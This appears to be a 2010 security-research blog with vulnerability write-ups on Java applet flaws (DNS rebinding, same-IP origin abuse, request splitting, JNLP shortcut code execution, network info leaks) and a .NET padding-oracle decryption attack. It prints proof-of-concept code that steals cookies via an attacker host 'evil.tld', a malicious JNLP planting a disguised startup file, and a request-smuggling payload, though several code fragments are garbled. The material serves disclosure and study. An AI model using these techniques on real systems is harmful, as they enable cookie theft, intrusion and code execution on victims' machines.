Thursday, October 21, 2010

Java DSN Rebinding + Java Same IP Policy = The Internet Mayhem

This is a short blog post about what could have happened if a malicious user had exploited the issues I found.

If someone has read the post about Java DNS Rebinding and Java applet same IP Host Access probably has come to the same conclusion of what I am going to describe in the next few lines which can be summarized like this:
Java applet implementation could really break the web.

Consider the following points:
  • Java DNS Rebinding: an attacker can point a controlled host to any IP of the web.
  • Java applet same IP Host access: an attacker can read the response of any host which points to the same IP the applet originates.

Suppose now that evil.tld server hosts a page which forces a DNS Rebinding to IP. Then if a user visits that page, Java VM applet sandbox will think that and evil.tld share the same IP.
According to Java Same IP Origin Policy it will be possible from then to read pages.

Extend the attack to any possible host. And you'll see the extent of the issue.

Now, someone could say DNS Rebinding is difficult to implement.Yes, Could be.
Then, think about Xss and the possibility to use java.* and Packages.* objects from javascript on any browser.
Considering that Xss are still one of the most widespread vulnerabilities on the web (50% of world sites?), you'll got another picture.

Finally, a malicious page could use classical History steal or other logged in detection techniques to understand if the victim is logged to some site and you got the bigger attack flow.

This attack could have created a big internet (client side) mayhem.

This is fortunately no more feasible because I made responsible disclosure to Oracle and waited for 6 long months before disclosing all the 7 issues.

Now that Java update is out everybody is suggested to install it.
Oh, and if you don't really need Java I suggest you to uninstall it definitely...and that is the saddest thing.

Wednesday, October 20, 2010

Java Applet Same IP Host Access

Due to a design issue on the way Java considers Same Origin Policy, it is possible for an attacker controlling a host with the same IP of the victim host, to forge requests to victim host on behalf of a user and read the content of the response.

It is known for ever that Java SOP is correlated with the IP of the applet hosting server.

Two hosts are considered equivalent if both host names can be resolved into the same IP addresses; else if either host name can't be resolved, the host names must be equal without regard to case; or both host names equal to null.
That means that differently from other SOP, Java does not take in consideration HostNames but only IPs.
This is what is called a design issue, probably originating from the '90s when the Internet was a more similar to a LAN :).
By taking advantage of this design issue, if an attacker can control at least one host on a virtual server pool (uploading an applet), it will be possible for the attacker to use an applet against a legit user and read every information from the other domains on the same IP.

Specifically, it is possible to forge requests and read HTML response from any other server with the same IP of the host without any further security check.
So let's consider that is possible for an attacker to upload a jar on a virtual host (I.e. an uploading host uploads.vhost.tld or a fully controlled host) which will results in an applet downloadable from the server.
The applet code is the following:

import java.util.*;
import javax.swing.*;
import java.applet.*;
import java.util.regex.*;

public class GetFromIP extends Applet{

public void init( ) {
String line;
String content="";
String patternStr = getParameter("regexp") ;
URL f=new URL(getParameter("url"));
HttpURLConnection g=(HttpURLConnection)f.openConnection();
g.connect(); dis = new;
JTextArea area = new JTextArea(10,20);
Pattern pattern = Pattern.compile(patternStr);
Matcher matcher = pattern.matcher(content);
String match="not found";
if( matcher.find())
match =;
}catch(Exception exc){exc.printStackTrace();}

What happens is that when Java makes a HttpURLConnection it asks for Cookies to the browser which provides them back to Java except for HttpOnly cookies (this is a publicly known behavior).
After that, even if it seems that is not possible to directly read the cookies from Java, it's still possible to read the html content since there is IP sharing.

Yeah, using TRACE is still possible on non HttpOnly cookies but that method could be disabled on the server side.

This will result in some sort of CSRF (you cannot read cookies) but with read access to the response, allowing the attacker to read for example AntiCSRF tokens and other sensitive data.
The following screenshot is the result of an attack from a malicious user (evil me) to getting information of a logged in user (angel me).

Another interesting attack: Host header.
It is known that is possible to set the Host header on applets using HttpURLConnection:

connection.setRequestProperty("Host", urlUpload.getHost());

The latter, in conjunction to the same IP SOP will create a way to steal cookies as well.
Suppose is on same IP of and a user is logged in on site.
A malicious user could then try to let the user to go to a page with the following content.


f=new""); // allowed since they share IP
g.addRequestProperty("Host",""); //allowed since a feature
dis = new;

What happens here is that Java asks the browser for cookies and then sends the request to the server which sees the Host header and sends it to the attacker's site stealing the (non HttpOnly cookies).

Moreover it will be possible to add or overwrite cookies from an attacker page by simply setting a cookie in the response header.
That cookie will be passed to the browser which thinks it's a cookie belonging to

A big issue
The even more big issue here is that any js controlled site (read Xssable) that resolves to a shared IP hosting is vulnerable to this, since* can be used from javascript using JavaScriptProtectionDomain. Now from any browsers as described here.

A side Note
It seems that Roberto Suggi Liverani found the first part of the design vulnerability as well on August and responsibly disclosed to Oracle. It also seems that Oracle were so obscure to not telling him that the issue was already found and reported by me. So you'll find another similiar advisory on the net.

Disclosure Timeline
30th March 2010: Issue found. I think that since it's a design issue probably Oracle will have some objection in fixing it. So I decide to send an attack example to Google.
31st March 2010: Information about the attack sent to Google
1st April 2010: Google says it has to be corrected by Oracle. They can help pushing for a fix.
20th April 2010: Advisory Sent to Oracle
6th May 2010: Oracle Confirms the issue.
6 Apr - 12 Oct 2010: Some Oracle updates and finally the Java release.

Tuesday, October 12, 2010

DNS Rebinding on Java Applets

In 2007 it was discovered that Java Applets, in conjunction with LiveConnect plugin on Firefox, were vulnerable to DNS Rebinding and take advantage of Java features like TCP and UDP socket connections on unauthorized sites.
But the only browser which resulted vulnerable was Firefox.

During an assessment of Java VM source code (v. 6 update 21) it was found that the attack was still feasible, probably due to a regression issue and, more important, I found a way to extend the attack to every browser.
A fix should have been implemented in the new Java 6 update 22.


An interesting new feature which was added in Java 6 is that after the instantiation of JVM from an applet tag the Packages objects are now accessible from any browser.

package sun.plugin2.main.server;
public class IExplorerPlugin extends AbstractPlugin{
public boolean SetClientSite(long paramLong1, long paramLong2)

try {
defineNameSpaceVariable(localBrowserSideObject, "Packages", "");
defineNameSpaceVariable(localBrowserSideObject, "java", "java");
defineNameSpaceVariable(localBrowserSideObject, "netscape", "netscape");
if (DEBUG)
System.out.println("IExplorerPlugin.SetClientSite: successfully defined namespace variables");

So a similar trick used by Anvil can be used with some variant.

Java implements at least two security domains. The first one is the classical sandbox restricted to the domain were the applet originates.
The second one is called "JavaScriptProtectionDomain" which is instantiated when the Java call is done from Javascript and it is tied to the host where the html/javascript is hosted.
When Java is called from JavaScript a JVM is initialized and set the protection domain to JavaScriptProtectionDomain.

The technique used by Anvil is to call Java from JavaScript and force a DNS request to the evil host which will resolve to an arbitrary IP. The constraint is that the only browsers affected were the ones implementing liveconnect plugin.

The new attack tries to force the generation of Js to Java objects cross browsers.

How it works
Under Firefox the attack is identical to the one by Kanatoko Anvil.
Regarding other browsers here is the html code:

<!-- From evil.tld -->
<body onload="go1()">
<applet code='anApplet' ></applet>

<div id="info"></div>
function go1(){
setTimeout(go,1000); // wait for first JVM to initialize
function go(){
document.body.innerHTML+="<applet code='doNothing' archive='http://anotherEvilhost.tld'></applet>"
setTimeout( doSocketStuff,3000);
function doSocketStuff(){

d=new "evil.tld",aPortToConnect );
....// Same Anvil's code

there are three steps to take in order to get it work:
  1. load an applet from evil.tld
  2. wait for the JVM to init (If we try to get a socket now from evil.tld, the JVM won't ask for IP to the DNS because of DNS cache)
  3. load another applet from anotherEvilHost.tld
  4. now we can use JavaScriptDomain by instantiating InetSocketAddress object. Here JVM will ask DNS for evil.tld IP. DNS will resolve to whatever we want (eg.
  5. Connect to and do port scan with read/write access.
So the trick is to set up two Applets the first one pointing to evil.tld which is the same hosting the html page then the second applet points to another attacker controlled host which will be used to rewrite the Js to Java Objects and, hence, bypass the DNS cache.
After that it'll be possible to perform classical DNS rebinding attacks.

An Interesting Attack
One of the first thing that made me research Applet security was the presence of package in applets.
This package allows to open a socket server listening to incoming connections.

// a Js to Java implementation of a server
d.bind(new "",8000 ));
clientSocket=d.accept(); // here comes the magic

The previous code is accepted by applets and is legit as of the time of writing.
The restriction comes out when accept method is called. Infact due to Same IP origin Policy a crossdomain.xml will be required to, and if not found an exception will be triggered.

Here the DNS Rebinding comes in handy. By applying the technique previously described it will be possible to set up a SocketServer listening to accepting connection without triggering an exception.

Now someone could ask: "Ok but what can I do with a server listening on localhost?".
I asked myself, too. And I figured out some interesting sceneries:

  1. Crash some local server and then sniff connection on the same port (difficult but feasible).
  2. Find some host that resolve to and get/set domain cookies.
Let's talk about the latter.
I downloaded the list of top 500 Alexa sites and found 20% (thumb rule) of them have some site that resolve to
An nice example is

$ host has address

Let's now perform the attack by using the following code:

<body onload="go1()">
<applet code='doNothing' ></applet><iframe name='delicious'></iframe>
<div id="info"></div>
function go1(){
function go(){

document.body.innerHTML+="<applet code='doNothing' archive='http://anotherEvilHost.tld/donothing.jar'></applet>"
setTimeout(function(){window.frames[0].location=''},5000); // this force the browser to connect to but it'll send the domain cookies to attacker socket server listening on port 8040

function server(){

d.bind(new "evil.tld",8040 ));// will now resolve to (port 8040)
ins= clientSocket.getInputStream();
for (var i=0;i< r;i++)
buf += String.fromCharCode( );

os.print("HTTP/1.1 200 OK\nContent-length: 0\n\n\n");



Here's a screenshot of what happens to the victim:

N.B.: Don't try the poc from since it has not a DNS server controlled by me. So it won't work.
After the attack is accomplished, the attacker will steal victim's cookies and will impersonate her as shown in the following screenshot:

Another interesting attack
Due to the Same IP Origin policy of Java Applets it is potentially possible to attack every single host on the Web.
I'll write about it in the next few days.

Http Request Splitting and Header Abuse with Java AddRequestProperty

It is possible abuse the method AddRequestProperty to:
  • inject new requests by abusing the request header Transfer-Encoding. The result is a well known attack called Http Request Splitting [1][2][3].
  • gather information about the existence of a Http Proxy.

Applets sandbox allow requests to be performed to the host where they originate by using the class This is allowed according to Java SOP.

g.setRequestMethod("GET") ;
dis = new;

log(rl) ;

We found that is possible to force a split of a Http request by using
Request.addRequestProperty("Transfer-Encoding", "chunked");

This could be used by a malicious user to bypass access in case a
forward proxy is set.

In fact by setting the request header to Transfer-Encoding: chunked
the payload will be parsed according to rfc2616 :

g.setRequestMethod("GET") ;
g.addRequestProperty("Transfer-Encoding", "chunked");
dis2 = new;
dis2.writeBytes("0\n\nGET http://someinternalHost HTTP/1.1\nHost:
dis = new;

log(rl) ;

Also it can be abused to get forward proxy information such as proxy password.

g.setRequestMethod("TRACE") ;
g.addRequestProperty("Max-Forwards", "0");

dis = new;


Monday, October 11, 2010

Java-JNLP-Applet User Assisted Arbitrary Execution

Java 6 update 10 plugin introduced several new features.

Among others there is the possibility to create an applet that will become a desktop applet by using JNLP in restricted environment.
This new feature is called draggable applets:

With Java SE 6 Update 10, Sun Microsystems, Inc. introduces a new paradigm for application deployment over the Internet: the ability to drag a live, running applet out of the web browser, dynamically transforming it into an application running on the desktop. The application can be re-launched later from a desktop shortcut or launch menu item using the standard JNLP and Java Web Start technologies. This capability is unique to the Java platform, and represents a complete unification of development and deployment in the web browser and on the desktop.

When an applet tag has

<param name="draggable" value="true">

it will become a jnlp Java application if a user simply click on it.

Depending on the JNLP it is also possible to ask the user to create a desktop shortcut of the applet.


It is possible to create arbitrary shortcut names leading to arbitrary code execution. Windows Only

When the applet is dragged out of the HTML Java will read the JNLP file looking for some specific data.
Let's see an example:

<?xml version="1.0" encoding="utf-8"?>
<jnlp href="DragExample.jnlp">
<title>A Title/title>
<vendor>Sun Microsystems Java Update</vendor>
<homepage href=""/>
<description kind="tooltip">a Description</description>
<shortcut online="false">
<menu submenu="Folder"/>
<j2se href="" version="1.4+"/>
<jar href="DragExample.jar" main="true" />
name="Drag Example"
<!-- Currently used when relaunching from the desktop shortcut -->

The interesting tags under windows are:
  • title: Title value will be used by Java to name the LNK file on desktop.
  • description kind="tooltip" : will be written by Java in the LNK Description Field and used as tooltip.
  • shortcut online="false": is the command which will instruct Java to ask user for allowing a desktop shortcut (It is asked when user closes the browser tab).
  • menu submenu="Folder": Will save the lnk also in the Startup Menu on Windows.
Putting all together we found that once a user allows the creation of the shortcut, is possible to create an arbitrary name with enough arbitrary content and have it executed on startup.
Example of a malicious jnlp file:

<?xml version="1.0" encoding="utf-8"?>
<jnlp href="DragExample.jnlp">
<title>Microsoft Updat&#x202eknl.hta&#x0000;e</title>
<vendor>Sun Microsystems Java Update</vendor>
<homepage href=""/>
<description kind="tooltip"><![CDATA[><script>malicious Scriptable Shell code Here</script>]]></description>
<shortcut online="false">
<menu submenu="Startup"/>
<j2se href="" version="1.4+"/>
<jar href="DragExample.jar" main="true" />
name="Drag Example"
<!-- Currently used when relaunching from the desktop shortcut -->

what happens here is that:
  • User sees a request of Desktop shortcut named Microsoft Update.ath.lnk (because of 2025 special char)
  • title value contains a null byte. So when Java tries to write: TitleName.lnk will pass "Microsoft Update.hta\u0000"+".LNK" and Windows will write the filename Microsoft Update.hta on the desktop
  • The content somewhere in the file will be a malicious Scriptable Shell object
  • Finally it will be saved also in the Windows menu and in particular in the Startup Menu Folder, which contains files which are to be launched at Windows startup.
This issue is somewhat similar to the Windows one.
Linux shortcut creation is a bit different from windows. It just creates a .desktop file containing 'ini' directives.
In the Linux case, an attacker can control the content of the file using for example the Title field.

The issue here is in the fact that new lines are allowed and copied in the desktop file, allowing the injection of new directives.


Once the user allows the creation of the desktop shortcut, the file will contain a new command to launch (xterm).
So when the victim will click on the shortcut he will execute the injected command in spite of the Java Web Start.

Get Internal Network Information with Java Applets

The first two issue on Java Applets are related to Information disclosure.

In particular a malicious user could get important information about private IP of each NIC a victim has on her platform.


It is possible to infer network IP on any local NIC via HASHCODE.

It is known since Java v1.4 that Applets expose some network information of a user machine.
It is in fact possible to use host,port)).getLocalAddress().getHostAddress();

which does work according to SOP (Example here).
Since Java 6 several other methods have been added which disclose Nic names, MAC and other information.
There is however some limitation on the information that can be gathered, and in particular it's not possible to get the IPs because they are tied to Same Origin Policy; for example is not possible to get the IP of VPN local interface.

We found that it is possible to bypass SOP by reversing the Hashcode of NetworkInterface object.
Hashcode on NetworkInterface is calculated as follows:

public int hashCode() {
int i = 0;
if (this.addrs != null) {
for (int j = 0; j <>

As can be seen NetworkInterface hashCode is the sum of each attached IP hashCode which is computed in the following way:

public int hashCode()
return this.address;
// Where address is :
if ((paramArrayOfByte != null) &&
(paramArrayOfByte.length == 4)) {
this.address = (paramArrayOfByte[3] & 0xFF);
this.address |= paramArrayOfByte[2] <<>

It is hence possible to reverse the hashCode to the address by simply using the following code:"eth0").hashCode();
IP=(d>>>24&0xff)+"."+(d>>>16 &0xff)+"."+(d>>>8 &0xff)+"."+(d &0xff)

But, what happens if there are more IPs bound to a single NIC?
It depends. Linux for example generates unused IPv6 addresses from MAC Address so it's possible to calculate it from the value returned by:


And then use it to get the IPv4.


It is possible to get the DNS address of a victim.


The SOP mechanism on new Java 6 applets is similar to Flash.
Before doing any action it check for the existance of crossdomain.xml files.
It was found that when we try to explicitly resolve a name using Packages.javax.naming package
setting the DNS to "dns://" Java VM will get the default DNS and ask it for crossdomain.xml file with a HTTP request on port 80.
If DNS drops packets on port 80 then Java will wait until socket will timeout, otherwise will return immediately with an error.
The error contains the DNS IP. The attacker can easily get the DNS IP from the error and use it for further attacks (DNS Cache Poisoning and so on).

function f(){
env.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory");
env.put("java.naming.provider.url", "dns://");
attrs = ctx.getAttributes("",['*']);

Proof Of Concept
An example of what an attacker can gather from an applet can be found here
(should work on almost every browser maybe Safari has some problem):

There are a couple of non resolved issues:
If windows supports IPV6 and there are IPv4 + IPv6 IPs on a single interface it is not possible to infer them since Hashcode cannot be reversed.
You'll need to wait for socket timeout to have your DNS IP discovered so be patient.
The applet will get:
  • Your DNS IP
  • If you are using a proxy
  • If you are using an authentication over the proxy (if TRACE Method enabled)
  • Your proxy credentials
  • Your NIC interfaces comprehensive of your IP, MAC Address and some other infos

To be noted that MAC address revelation is a feature.

Ps. As you'll probably notice after running the POC, I also found that Java 6 plugin exposes to Javascript (java & Packages objects) on every browser but we will talk about it on another post.

Java 6u21 Seven Issues Summary

After several months since I contacted Oracle informing them about ten issues on Java applet security, they will release an important update of Java today.

It fixes several security issues, seven of which were found by me in May.

There will be some post on this blog describing the issues and an impact analysis.

In particular the issues are in order of impact the following:
Disclosure Timeline
20th Apr - 6 May 2010: Advisories sent to Oracle
25th June 2010: Oracle Confirms all issues
12 Oct 2010: Java update 22 released which fixes 7 out of 10 issues.
11-20 Oct 2010: Minded Security Advisories publicly disclosed.

All the issues were found by Stefano Di Paola of Minded Security

Saturday, October 2, 2010

Breaking .NET encryption with or without Padding Oracle

I have had many questions regarding Padbusterdotnet after our previous post Investigating .NET Padding Oracle Exploitation. Here I'll try to answer some of them.

How can I download the Web.config?
Since Microsoft patches are already out now I will disclose how to download the files remotely. Padbuster v0.2 and Pudbusterdotnet cannot alone download the Web.config. For achieving this result I have made a Poc that you can find here.

Update 04/10/10: A couple of days after the release of our initial exploit Brian Holyfield added these (and more features) in Padbuster v0.3. Now Padbuster is a swiss army knife to fully exploit .NET Ajax handlers.

The most common way to download files remotely from unpatched framework 3.5 Sp1 and 4.0 is to obtain after decryption a string similar to the one below:
Note: first bytes magic values are "r#","R#","q#","Q#".

Therefore you should use Padbusterdotnet to encrypt the string "|||~/Web.config" and bruteforce the values of a test block that will be added at the beginning of the encrypted data . Since the S-Box of Triple Des and AES give a total different block for each byte that changes on the first block, we can simply substitute random bytes in the first block.

This is quite reliable, but it takes some thousand requests to be successful.

See the exploit code in action, with full details:

Do I really need a Padding Oracle for breaking .NET encryption?
The answer here is NO. In unpatched framework 3.5 Sp1 (and maybe above) "ScriptResource.axd" is flawed. If you send the "T" magic value as the first letter of the first block after decryption, it will decrypt the whole "d" parameter. You do not need Padding Oracle at all.

In addition since it's a pure fast bruteforce attack, you do not need to check for 404 vs 500 errors: you just need to check for 200 status codes.

This feature exists because of the following code in "ScriptResource.axd" handler:

"case ‘T’
- where strSubstring(1) is the “d” parameter decrypted

 As you can see to decrypt any string encoded with the MachineKey you just need to bruteforce the first block (this is very fast because you need to guess only 1 letter). If you prepend this block, you can instantly decrypt any string, so you don't need Padding Oracle Anymore.

P.s. since you also see the plaintext from your encrypted block, you could be able to encrypt arbitrary values.

The following is the output you get from the handler:

n0def@tremors:~/n0def$ ./

parent.Sys.Application._onIFrameLoad(); &X; :�ס�{ ts~{��ס�{ ts~{�{ t{ r|~/mydocument.js
Exploit code is very similar to Web.config_bruter for decrypting. For encrypting is a bit more difficult... for now :D